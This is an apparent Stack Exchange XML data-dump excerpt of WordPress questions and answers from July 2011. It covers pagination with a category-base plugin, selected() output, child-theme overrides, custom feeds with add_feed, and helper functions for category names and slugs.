  <row Id="22325" PostTypeId="1" CreationDate="2011-07-07T17:57:07.690" Score="0" ViewCount="117" Body="&lt;p&gt;I am using WordPress 3.2:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With custom permalinks set to &lt;strong&gt;/%category%/%postname%&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WP No Category Base&lt;/strong&gt; plugin&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WP-PageNavi&lt;/strong&gt; plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the WP No Category Base plugin breaks pagination system :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;strong&gt;mywebsite.com/mycategoryname/page/2/&lt;/strong&gt; send a 404 error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a solution for this problem? I tried several category pagination fix plugins but none works :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="6839" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-07T18:30:36.333" LastActivityDate="2011-08-11T10:22:20.870" Title="WP No Category Base breaks pagination system on WordPress 3.2" Tags="&lt;plugin-compatibility&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22326" PostTypeId="2" ParentId="22324" CreationDate="2011-07-07T18:02:27.263" Score="0" ViewCount="" Body="&lt;p&gt;Where are your PHP tags?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;gender&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;male&quot; &amp;lt;?php selected( $values['gender'] , 'male'); ?&amp;gt;&amp;gt;Male&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;female&quot; &amp;lt;?php selected( $values['gender'] , 'female'); ?&amp;gt;&amp;gt;Female&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;other&quot; &amp;lt;?php selected( $values['gender'] , 'other'); ?&amp;gt;&amp;gt;Other&amp;lt;/option&amp;gt;         &#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unless you're somehow wrapping the whole thing in an echo that isn't displayed in your code snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, probably entirely a matter of personal preference, but I always put HTML attributes in double-quotes, and PHP attributes in single quotes, in order to help avoid mixing them up in mixed PHP/HTML markup.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-07T18:02:27.263" CommentCount="1" />
  <row Id="22327" PostTypeId="1" AcceptedAnswerId="22329" CreationDate="2011-07-07T18:09:43.997" Score="1" ViewCount="40" Body="&lt;p&gt;In the parent theme, the following is at the bottom of the &lt;strong&gt;functions.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(TEMPLATEPATH . '/admin/admin-menu.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the child theme's &lt;strong&gt;function.php&lt;/strong&gt;, this code will include the child admin panel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(STYLESHEETPATH . '/admin/admin-menu.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I shouldn't use both files b/c the bottom file includes &lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt; instead of &lt;code&gt;get_template_directory_uri()&lt;/code&gt; for certain localized files (js, css). Thus, I need to remove the parent file from loading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I need to use the &lt;code&gt;remove_action&lt;/code&gt; hook, but I'm not sure how to do this right. Can't find a good answer on Google either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started writing the following in the &lt;strong&gt;functions.php&lt;/strong&gt; file in my child theme, but I don't know how to write it properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_parent_admin_panel {&#xA;   remove_action('remove_panel', '[WHAT-GOES-HERE?]');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I guess I need to use a &lt;code&gt;add_action&lt;/code&gt; hook to add the above function to remove the parent admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I wrap the parent &lt;code&gt;require_once&lt;/code&gt; with a function statement? Am I on the right track?&lt;/p&gt;&#xA;" OwnerUserId="6000" LastActivityDate="2011-07-07T18:26:54.857" Title="How do I remove a require_once admin panel from the parent theme from the child theme functions.php?" Tags="&lt;php&gt;&lt;functions&gt;&lt;admin&gt;&lt;child-theme&gt;" AnswerCount="2" />
  <row Id="22328" PostTypeId="2" ParentId="22324" CreationDate="2011-07-07T18:18:20.287" Score="4" ViewCount="" Body="&lt;p&gt;The selected function causes immediate output, it does not return a string. Therefore you can't use it like that, in a string building mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to return a string instead of immediately outputting the text, pass false to the $echo parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = &quot;&#xA;&amp;lt;select name='gender'&amp;gt;&#xA;&amp;lt;option value='male' &quot; . selected( $values['gender'] , 'male', false) . &quot;&amp;gt;Male&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value='female' &quot; . selected( $values['gender'] , 'female', false) . &quot;&amp;gt;Female&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value='other' &quot; . selected( $values['gender'] , 'other', false) . &quot;&amp;gt;Other&amp;lt;/option&amp;gt;         &#xA;&amp;lt;/select&amp;gt;&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T18:18:20.287" CommentCount="3" />
  <row Id="22329" PostTypeId="2" ParentId="22327" CreationDate="2011-07-07T18:23:43.293" Score="2" ViewCount="" Body="&lt;p&gt;For cases where you want to require/include PHP files, but still allow child themes to replace those PHP files outright, then you should use the locate_template function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Parent does this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;locate_template( 'admin/file.php', true );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This finds the admin/file.php file in either the child or the parent theme, then does a require on it (that's what the true is for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to replace the file in the child, you just replace the file in the child. Simple. Easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The method defaults to using require_once. If you just want to require only, then pass a third parameter of false.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T18:23:43.293" CommentCount="3" />
  <row Id="22330" PostTypeId="2" ParentId="22327" CreationDate="2011-07-07T18:26:54.857" Score="0" ViewCount="" Body="&lt;p&gt;Inside of the Parent Theme's &lt;code&gt;\admin\admin-menu.php&lt;/code&gt; file, look for the function &lt;code&gt;add_menu_page()&lt;/code&gt;. It should be wrapped in a function, and that function called in an &lt;code&gt;add_action( 'admin_init', 'function-name' )&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to call &lt;code&gt;remove_action( 'admin_init', 'function-name' )&lt;/code&gt; for whatever that function name is.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-07T18:26:54.857" />
  <row Id="22331" PostTypeId="2" ParentId="20522" CreationDate="2011-07-07T18:35:28.570" Score="1" ViewCount="" Body="&lt;p&gt;No, user data is not visible to the outside world, or to google, unless you specifically make it visible in the theme somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One piece of user data is exposed for authors of posts though. Specifically, their login names are visible in many places.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T18:35:28.570" />
  <row Id="22332" PostTypeId="2" ParentId="22314" CreationDate="2011-07-07T18:43:16.053" Score="0" ViewCount="" Body="&lt;p&gt;In a multisite setup, you need to adjust the upload_path for each individual site through the Network Admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to /wp-admin/network/sites.php. Edit the site in question. On the settings tab, you can find the Upload Path setting and change it to whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust the URLs on this page. Look for &quot;upload&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't apply retroactively. Only new uploads will be affected.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T18:43:16.053" />
  <row Id="22333" PostTypeId="2" ParentId="14275" CreationDate="2011-07-07T18:49:40.400" Score="0" ViewCount="" Body="&lt;p&gt;Uppercase characters are not blocked in usernames on single site setups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uppercase characters ARE blocked in usernames on multisite setups. The wpmu_validate_user_signup function forces lowercase a-z and numbers 0-9 only.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T18:49:40.400" />
  <row Id="22334" PostTypeId="2" ParentId="22293" CreationDate="2011-07-07T18:51:24.830" Score="-3" ViewCount="" Body="&lt;p&gt;Wordpress, while having a lot of features is a hacked up mess, and it uses PHP which is a terrible, non-secure, non-orthogonal, non-regular, inconsistent, hacked together pile of crap. The only valid use for PHP is for adding a small amount of dynamic content to a static web page, and Perl is a much better solution in this small use case. Using PHP for a web application is like using a rock and butter knife as your tools when building a house. You are also going to be debugging it and closing up security holes for eternity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rails, while not perfect, will probably not take longer to code as Ruby is very concise, and will likely take significantly fewer lines of code compared to all your options with the possible exceptions of Lisp and Smalltalk. For your needs ActiveRecord will be perfect and will save you a ton of coding. The downside of Rails is that it enforces REST which is often not even needed(you can kind of shut it off, but then you have to handle enforcing POST/GET/PUT/DELETE yourself, but that only adds 1 line of code per controller, but increases the chance for error) and even minor version changes can break your application in non-trivial ways. With Rails 3, everything is modular and if something is not what you need you can remove or replace it. &lt;/p&gt;&#xA;" OwnerUserId="6840" LastEditorUserId="6840" LastEditorDisplayName="" LastEditDate="2011-07-07T22:22:50.623" LastActivityDate="2011-07-07T22:22:50.623" />
  <row Id="22335" PostTypeId="1" AcceptedAnswerId="22345" CreationDate="2011-07-07T19:06:32.980" Score="0" ViewCount="65" Body="&lt;p&gt;I'm trying to make &lt;a href=&quot;http://yoast.com/custom-rss-feeds-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Yoast's Custom RSS feeds&lt;/a&gt; post display in an add_feed function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just putting Yoast's snippet inside add_feed results in: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR: feedname is not a valid feed template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried two rewrite functions, but to no avail. What could I be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZgAmz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yoast's function untouched:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Custom Feed&#xA;*/&#xA;&#xA;$numposts = 5;&#xA;&#xA;function yoast_rss_date( $timestamp = null ) {&#xA;  $timestamp = ($timestamp==null) ? time() : $timestamp;&#xA;  echo date(DATE_RSS, $timestamp);&#xA;}&#xA;&#xA;function yoast_rss_text_limit($string, $length, $replacer = '...') {&#xA;  $string = strip_tags($string);&#xA;  if(strlen($string) &amp;gt; $length)&#xA;    return (preg_match('/^(.*)\W.*$/', substr($string, 0, $length+1), $matches) ? $matches[1] : substr($string, 0, $length)) . $replacer;&#xA;  return $string;&#xA;}&#xA;&#xA;$posts = query_posts('showposts='.$numposts);&#xA;&#xA;$lastpost = $numposts - 1;&#xA;&#xA;header(&quot;Content-Type: application/rss+xml; charset=UTF-8&quot;);&#xA;echo '&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;';&#xA;?&amp;gt;&amp;lt;rss version=&quot;2.0&quot;&amp;gt;&#xA;&amp;lt;channel&amp;gt;&#xA;  &amp;lt;title&amp;gt;Yoast E-mail Update&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link&amp;gt;&amp;lt;a class=&quot;linkclass&quot; href=&quot;http://yoast.com/&quot;&amp;gt;http://yoast.com/&amp;lt;/a&amp;gt;&amp;lt;/link&amp;gt;&#xA;  &amp;lt;description&amp;gt;The latest blog posts from Yoast.com.&amp;lt;/description&amp;gt;&#xA;  &amp;lt;language&amp;gt;en-us&amp;lt;/language&amp;gt;&#xA;  &amp;lt;pubDate&amp;gt;&amp;lt;?php yoast_rss_date( strtotime($ps[$lastpost]-&amp;gt;post_date_gmt) ); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;  &amp;lt;lastBuildDate&amp;gt;&amp;lt;?php yoast_rss_date( strtotime($ps[$lastpost]-&amp;gt;post_date_gmt) ); ?&amp;gt;&amp;lt;/lastBuildDate&amp;gt;&#xA;  &amp;lt;managingEditor&amp;gt;&amp;lt;a class=&quot;linkclass&quot; href=&quot;mailto:joost@yoast.com&quot;&amp;gt;joost@yoast.com&amp;lt;/a&amp;gt;&amp;lt;/managingEditor&amp;gt;&#xA;&amp;lt;?php foreach ($posts as $post) { ?&amp;gt;&#xA;  &amp;lt;item&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;?php echo get_the_title($post-&amp;gt;ID); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;&amp;lt;?php echo get_permalink($post-&amp;gt;ID); ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;?php echo '&amp;lt;![CDATA['.yoast_rss_text_limit($post-&amp;gt;post_content, 500).'&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;Keep on reading: &amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;'.']]&amp;gt;';  ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;?php yoast_rss_date( strtotime($post-&amp;gt;post_date_gmt) ); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;guid&amp;gt;&amp;lt;?php echo get_permalink($post-&amp;gt;ID); ?&amp;gt;&amp;lt;/guid&amp;gt;&#xA;  &amp;lt;/item&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://xplus3.net/2008/10/30/custom-feeds-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Function one&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myPlugin_add_feed(  ) {&#xA;  global $wp_rewrite;&#xA;  add_feed('feedname', 'my_feed');&#xA;  add_action('generate_rewrite_rules', 'myPlugin_rewrite_rules');&#xA;  $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;add_action('init', 'myPlugin_add_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;http://www.seodenver.com/custom-rss-feed-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;function two&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_feed_rewrite($wp_rewrite) {&#xA;$feed_rules = array(&#xA;'feed/(.+)' =&amp;gt; 'index.php?feed=' . $wp_rewrite-&amp;gt;preg_index(1),&#xA;'(.+).xml' =&amp;gt; 'index.php?feed='. $wp_rewrite-&amp;gt;preg_index(1)&#xA;);&#xA;$wp_rewrite-&amp;gt;rules = $feed_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules', 'custom_feed_rewrite');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-07T21:25:51.183" LastActivityDate="2011-07-07T22:09:21.507" Title="Yoast custom feed template as add_feed function?" Tags="&lt;feed&gt;&lt;add-feed&gt;" AnswerCount="2" />
  <row Id="22336" PostTypeId="1" AcceptedAnswerId="22342" CreationDate="2011-07-07T19:15:13.623" Score="0" ViewCount="51" Body="&lt;p&gt;In several theme templates I have code to retrieve the category name and slug for the present post or category page. It is outside the loop. Here is the repeated code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$categories = get_the_category($post-&amp;gt;ID);&#xA;if ( $categories ) {&#xA;foreach ($categories as $category) {&#xA;    $dw_category_slug = $category-&amp;gt;slug;&#xA;    $dw_category_name = $category-&amp;gt;name;&#xA;}  &#xA;}else {&#xA;    $dw_category_slug = 'utopia';&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to include this in the functions file instead of writing it in several places. This is what I have tried in my functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  add_action('wp_head', 'dw_get_category');&#xA;  function dw_get_category() {&#xA;    global $post;&#xA;    $categories = get_the_category($post-&amp;gt;ID);&#xA;           if ( $categories ) {&#xA;               foreach ($categories as $category) {&#xA;               $dw_category_slug = $category-&amp;gt;slug;&#xA;               $dw_category_name = $category-&amp;gt;name;&#xA;        }&#xA;        } else {&#xA;            $dw_category_slug = 'utopia';&#xA;        }         &#xA;    $dw_category[] = array('name' =&amp;gt; $dw_category_name, 'slug' =&amp;gt;    $dw_category_slug);&#xA;    return $dw_category;     &#xA;    }                                                   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to write something like &lt;code&gt;$dw_category['name']&lt;/code&gt; in the template files to call the category name. I know this is the wrong way to do it. Do I need to divide this into 2 functions so there is only one value returned for the function? Or is there some other way to do this? Writing it as a class? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If interested the url is &lt;a href=&quot;http://lenoremalenblog.com&quot; rel=&quot;nofollow&quot;&gt;http://lenoremalenblog.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastEditorUserId="6817" LastEditorDisplayName="" LastEditDate="2011-07-07T20:14:48.673" LastActivityDate="2011-07-07T21:25:18.003" Title="create function to call category name and slug" Tags="&lt;categories&gt;&lt;functions&gt;&lt;add-action&gt;" AnswerCount="1" />
  <row Id="22337" PostTypeId="2" ParentId="22335" CreationDate="2011-07-07T19:21:12.227" Score="1" ViewCount="" Body="&lt;p&gt;First, correct way is to use &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API/add_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_feed()&lt;/code&gt;&lt;/a&gt;, but you should not touch rewrite. &lt;code&gt;add_feed()&lt;/code&gt; handles that by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you didn't provide your callback &lt;code&gt;my_feed()&lt;/code&gt; function? I am not sure but from that error message I think it fails to get hooked properly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-07T19:21:12.227" CommentCount="3" />
  <row Id="22338" PostTypeId="1" CreationDate="2011-07-05T17:47:29.660" Score="0" ViewCount="60" Body="&lt;p&gt;I have the following code which works perfectly to get me a filter of all the terms (from &lt;code&gt;section&lt;/code&gt;) in the custom post type &lt;code&gt;module&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create filter-through Module's by Section&#xA;---------------------------------------------------*/&#xA;add_action('restrict_manage_posts', 'restrict_manage_posts_section');&#xA;function restrict_manage_posts_section()&#xA;{&#xA;    global $post_type;&#xA;    if ( is_object_in_taxonomy( $post_type, 'section' ) )&#xA;    {&#xA;        $dropdown_options = array(&#xA;            'show_option_all' =&amp;gt; __( 'View all sections' ),&#xA;            'hide_empty' =&amp;gt; 0,&#xA;            'hierarchical' =&amp;gt; 1,&#xA;            'name' =&amp;gt; 'section',&#xA;            'show_count' =&amp;gt; 0,&#xA;            'taxonomy' =&amp;gt; 'section',&#xA;            'orderby' =&amp;gt; 'name',&#xA;            'selected' =&amp;gt; $cat&#xA;        );&#xA;&#xA;        add_filter('wp_dropdown_cats', 'wp_dropdown_section_filter', 10);&#xA;        wp_dropdown_categories( $dropdown_options );&#xA;        remove_filter('wp_dropdown_cats', 'wp_dropdown_section_filter', 10);&#xA;    }&#xA;}&#xA;&#xA;function wp_dropdown_section_filter($select)&#xA;{&#xA;    $terms  = get_terms('section', array('hide_empty' =&amp;gt; false));   &#xA;    foreach( $terms as $term )&#xA;    {&#xA;        $select = str_replace('value=&quot;'.$term-&amp;gt;term_id.'&quot;', 'value=&quot;'.$term-&amp;gt;slug.'&quot;', $select);&#xA;        if (isset($_GET['section']) &amp;amp;&amp;amp; $term-&amp;gt;slug == $_GET['section']){&#xA;            $select = str_replace('value=&quot;'.$term-&amp;gt;slug.'&quot;', 'value=&quot;'.$term-&amp;gt;slug.'&quot; selected', $select);&#xA;        }&#xA;    }   &#xA;    return $select;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what my problem is, is getting this to do the same as above, but to filter the parent pages of &lt;code&gt;module&lt;/code&gt;. Heres the code i have so far, which gets me the list of all the parent pages in the post type &lt;code&gt;module&lt;/code&gt;, the part i cant get is once you click the filter button, to have everything filter properly. I want the outcome to be the parent page and all its children will be shown.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create filter-through Module's by Parent Module&#xA;---------------------------------------------------*/&#xA;add_action('restrict_manage_posts', 'restrict_manage_posts_module');&#xA;function restrict_manage_posts_module()&#xA;{&#xA;    global $post_type;&#xA;    if ( is_object_in_taxonomy( $post_type, 'section' ) )&#xA;    {&#xA;        $dropdown_options = array(&#xA;            'show_option_none' =&amp;gt; __( 'View all modules' ),&#xA;            'depth' =&amp;gt; 1,&#xA;            'hierarchical' =&amp;gt; 1,&#xA;            'post_type' =&amp;gt; 'module',&#xA;            'sort_column' =&amp;gt; 'name',&#xA;            'selected' =&amp;gt; $page&#xA;        );&#xA;&#xA;        add_filter('wp_dropdown_pages', 'wp_dropdown_module_filter', 10);&#xA;        wp_dropdown_pages( $dropdown_options );&#xA;        remove_filter('wp_dropdown_pages', 'wp_dropdown_module_filter', 10);&#xA;    }&#xA;}&#xA;&#xA;function wp_dropdown_module_filter($select)&#xA;{&#xA;    $pages  = get_pages(array());   &#xA;    foreach( $pages as $page )&#xA;    {&#xA;        $select = str_replace('value=&quot;'.$page-&amp;gt;ID.'&quot;', 'value=&quot;'.$page-&amp;gt;post_name.'&quot;', $select);&#xA;        if (isset($_GET['module']) &amp;amp;&amp;amp; $page-&amp;gt;post_name == $_GET['module']){&#xA;            $select = str_replace('value=&quot;'.$page-&amp;gt;post_name.'&quot;', 'value=&quot;'.$page-&amp;gt;post_name.'&quot; selected', $select);&#xA;        }&#xA;    }   &#xA;    return $select;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-07T19:26:05.280" Title="WP Admin Custom Page Filter" Tags="&lt;php&gt;&lt;filters&gt;" CommentCount="2" />
  <row Id="22339" PostTypeId="1" AcceptedAnswerId="22340" CreationDate="2011-07-07T20:35:10.323" Score="0" ViewCount="20" Body="&lt;p&gt;I need to export the last two week's worth of blog posts from one site into another site, including all meta data and post author info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good SQL statement to do this, or a plugin that will help me accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-07-07T20:54:12.540" Title="How to export 2 week's worth of posts" Tags="&lt;sql&gt;&lt;export&gt;&lt;wp-posts&gt;" AnswerCount="1" />
  <row Id="22340" PostTypeId="2" ParentId="22339" CreationDate="2011-07-07T20:54:12.540" Score="1" ViewCount="" Body="&lt;p&gt;The native import/export tool can do most of this, though I don't think it will grab all the author profile information (not sure on that - I know it doesn't bring over passwords, but it might bring the rest). In the WP admin panel go to Tools &gt; Export and walk through the various option screens. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-07T20:54:12.540" CommentCount="2" />
  <row Id="22341" PostTypeId="1" CreationDate="2011-07-07T21:19:25.660" Score="0" ViewCount="33" Body="&lt;p&gt;Hallo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have in my blog now add a Plugin [Custom Post Type UI] and have great a Post type movies and taxonomies like genre,actors,directer..... like this all ok now i have great a test post min add Movie and add info now come my big problem it show noting in post just a error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Catchable fatal error: Object of class WP_Error could not be converted to string in &#xA;   /home/user*&lt;strong&gt;/public_html/&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;/&lt;em&gt;*&lt;/em&gt;*/wp-content/themes/telegraph/functions/wpzoom-functions.php on line 783&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Lines 780-786&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;} elseif ( is_single() ) {&#xA;  $cat = get_the_category(); &#xA;  $cat = $cat[0];&#xA;  echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');&#xA;  echo $currentBefore;&#xA;//      the_title();&#xA;  echo $currentAfter;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can some on help me by this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: do i have to add any code to my theme wen i great a Post type or Taxonomies in [Custom Post Type UI]&lt;/p&gt;&#xA;" OwnerUserId="6844" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-08T15:24:10.813" LastActivityDate="2011-08-11T21:22:19.550" Title="Geting error in post and category" Tags="&lt;posts&gt;&lt;categories&gt;&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="22342" PostTypeId="2" ParentId="22336" CreationDate="2011-07-07T21:25:18.003" Score="1" ViewCount="" Body="&lt;p&gt;You don't need to hook the &lt;code&gt;dw_get_category()&lt;/code&gt; function. Simply do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function dw_get_category() {&#xA;    global $post;&#xA;    $categories = get_the_category($post-&amp;gt;ID);&#xA;        if ( $categories ) {&#xA;           foreach ($categories as $category) {&#xA;               $dw_category_slug = $category-&amp;gt;slug;&#xA;               $dw_category_name = $category-&amp;gt;name;&#xA;           }&#xA;        } else {&#xA;            $dw_category_slug = 'utopia';&#xA;        }         &#xA;    $dw_category = array('name' =&amp;gt; $dw_category_name, 'slug' =&amp;gt;    $dw_category_slug);&#xA;    return $dw_category;     &#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_post_cats = dw_get_category();&#xA;echo 'Category: '.$the_post_cats['name'];&#xA;echo 'Slug: '.$the_post_cats['slug'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-07T21:25:18.003" CommentCount="3" />
  <row Id="22344" PostTypeId="1" AcceptedAnswerId="22920" CreationDate="2011-07-07T21:55:56.683" Score="2" ViewCount="101" Body="&lt;p&gt;I just moved a site (by exporting &amp;amp; importing all posts &amp;amp; pages, and copying theme files over), and on the new site the various page and post templates are unavailable for selection on post and page edit screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files did have Windows line endings, which I fixed, but that did not eliminate the problem. Any other things to try?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-07-14T10:33:12.177" Title="Template files missing after moving site" Tags="&lt;templates&gt;" AnswerCount="4" CommentCount="10" FavoriteCount="2" />
  <row Id="22345" PostTypeId="2" ParentId="22335" CreationDate="2011-07-07T22:09:21.507" Score="1" ViewCount="" Body="&lt;p&gt;You have &lt;code&gt;add_feed('feedname', 'my_feed');&lt;/code&gt; but no my_feed function to actually generate the feed output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a my_feed function and have it call the template to generate the feed output. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_feed() {&#xA;  include 'path-to-that-template-file.php';&#xA;}&#xA;add_feed('feedname','my_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then regenerate your permalinks, one time only, by resaving the permalink settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you don't need any of that extra rewrite nonsense at all. Just the add_feed is enough. WP handles the rest, and your feed will be at /feed/feedname.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-07T22:09:21.507" CommentCount="1" />
